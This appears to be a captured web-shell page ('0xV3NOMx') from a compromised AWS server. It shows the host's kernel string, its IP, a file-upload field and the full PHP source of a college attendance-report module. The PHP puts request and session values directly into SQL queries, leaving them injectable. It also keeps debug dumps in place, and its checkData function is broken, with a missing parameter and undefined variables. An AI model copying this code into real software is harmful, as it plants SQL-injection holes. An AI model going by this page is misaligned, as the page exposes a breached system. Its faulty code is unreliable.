0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.55.25


Current Path : /proc/thread-self/root/var/www/oasis/Report_details/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/Report_details/attendanceReportForm.php

<?php

function loadAtteDegree($aobj_context){
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$collcode = $_SESSION['collcode'];
	$userID = $_SESSION['user_id'];
	$teachcode = $_SESSION['usr'];

	$query = "select * from s_sysdb where internal_code = '{$userID}'";
	$res = $aobj_context->mobj_db->GetRow($query);
	$usrtype = $res['user_type'];							

	$cnd = "inner join attendsum a on d.fdegree = a.fdegree
	and a.fteachcode = '{$teachcode}'"; 
	if($usrtype =='40' || $usrtype =='14')
		$cnd = "";

	$query = "SELECT d.fdegree, d.fdescpn FROM degree d 
	INNER JOIN colldeg c ON d.fdegree = c.fdegree  
	{$cnd}
	WHERE c.fcollcode = '{$collcode}' 
	AND IFNULL(c.fdeleted ,'') <> 'T' 
	and d.fexamno = 'A'
	group by d.fdegree";
	$result_deg = $aobj_context->mobj_db->GetAll($query);

    if($result_deg){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result_deg,0,"success"); 
	}else{
		$data = 'Fail to load degree';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	}        
}

function loadSemester($aobj_context){
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$sdegree = $aobj_context->mobj_data["sdegree"];

	$query = "SELECT fexamname, fexamno FROM degree WHERE fdegree = '{$sdegree}' GROUP BY fexamno";
    $result_sem = $aobj_context->mobj_db->GetAll($query);  
    
    if($result_sem){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result_sem,0,"success"); 
	}else{
		$data = 'Fail to load semester';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	}   
}

function loadSubject($aobj_context){
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$teachcode = $_SESSION['usr'];
	$sdegree = $aobj_context->mobj_data["sdegree"];
	$sem = $aobj_context->mobj_data["semester"];

	$query = "select * from attendsum where fteachcode = '{$teachcode}'";
	
	$result = $aobj_context->mobj_db->GetRow($query);
	
	$teacode = $result['fteachcode'];
	if($teachcode ==$teacode){
		$qur = "SELECT left(s.fcsubcode,4)as fcsubcode, s.fsubname FROM subject s 
		INNER JOIN attendsum a ON s.fdegree = a.fdegree AND s.fexamno = a.fexamno
		and s.fcsubcode = a.fsubcode
		WHERE a.fteachcode = '{$teachcode}' AND a.fdegree = '{$sdegree}'
		GROUP BY a.fsubcode
		order by s.fsubname";
	// 	var_dump($qur);
	// die();
	}else{
		$qur = "SELECT s.fcsubcode, s.fsubname FROM subject s 
		INNER JOIN attendsum a ON s.fdegree = a.fdegree AND s.fexamno = a.fexamno 
		GROUP BY s.fsubcode";
	}
	
	
	$result_sub = $aobj_context->mobj_db->GetAll($qur);  
	// var_dump($result_sub);
	// die();
    
    if($result_sub){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result_sub,0,"success"); 
	}else{
		$data = 'Fail to load semester';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	}

}

function loadSection($aobj_context){
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$sdegree = $aobj_context->mobj_data["sdegree"];
	$teachcode = $_SESSION['usr'];
	$sem = $aobj_context->mobj_data["semester"];
	// var_dump($sem);
	//  die();

	$query = "select * from attendsum where fteachcode = '{$teachcode}'";
	
	$result = $aobj_context->mobj_db->GetRow($query);
	
	$teacode = $result['fteachcode'];
	if($teachcode ==$teacode){
	$qur = "SELECT IFNULL (s.fsection ,'') AS fsection FROM student s
	INNER JOIN attendsum a ON s.fexamno = a.fexamno
	 WHERE s.fdegree = '{$sdegree}' AND  a.fteachcode = '{$teachcode}' AND a.fexamno = '{$sem}'
	 AND IFNULL(s.fsection, '')<> '' GROUP BY s.fsection";
	 
	}else{
		$qur = "SELECT IFNULL (s.fsection ,'') AS fsection FROM student s
	INNER JOIN attendsum a ON s.fexamno = a.fexamno
	 WHERE s.fdegree = '{$sdegree}' AND
		 IFNULL(s.fsection, '')<> '' GROUP BY s.fsection";
	}
	
	$result_sec = $aobj_context->mobj_db->GetAll($qur);  
	
	
    
    if($result_sec){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result_sec,0,"success"); 
	}else{
		$data = 'Fail to load semester';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	}

}

function checkData(){
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$sdegree = $aobj_context->mobj_data["degree"];
	$sem = $aobj_context->mobj_data["sem"];
	$sec = $aobj_context->mobj_data["section"];
	$reg_from = $aobj_context->mobj_data["regfrom"];
	$reg_to = $aobj_context->mobj_data["regto"];
	$per_from = $aobj_context->mobj_data["perfrom"];
	$per_to = $aobj_context->mobj_data["perto"];
	$subj = $aobj_context->mobj_data["sub"];

	if($section == 'All'){
        $cnd1 = "";
    }else{
        $cnd1 = "and st.fsection = '{$section}'";
    }

        if($sub == 'All'){
            $cnd = "";
        }else{
            $cnd = "and left(a.fsubcode,4) = '{$sub}'";
        }

    


    $query = "select st.fsection, a.fregno,st.fname, a.fsubcode,s.FSUBSHORT, s.fsubname, sum(a.fnoclass) as conducted, 
    sum(if(a.fpresent = 'A','0',a.fnoclass)) as attended
    from attend_det a 
    inner join subject s on a.fexamno = s.fexamno and a.fdegree = s.fdegree and a.fsubcode = s.fcsubcode
    inner join student st on a.fregno = st.fregno and a.fdegree = st. fdegree and a.FEXAMNO = st.FEXAMNO
    where a.fdegree = '{$degree}' and a.FEXAMNO = '{$sem}' 
    $cnd 
    $cnd1
    group by a.fregno,a.fsubcode
    having sum(if(a.fpresent = 'A','0',a.fnoclass)) / sum(a.fnoclass) * 100 between '{$perfrom}' and '{$perto}'
    order by a.fsubcode";

	$result = $aobj_context->mobj_db->GetRow($query);
	var_dump($result);
	die();
	if($result){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result_sec,0,"success"); 
	}else{
		$data = 'Fail to load semester';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	}
}
?>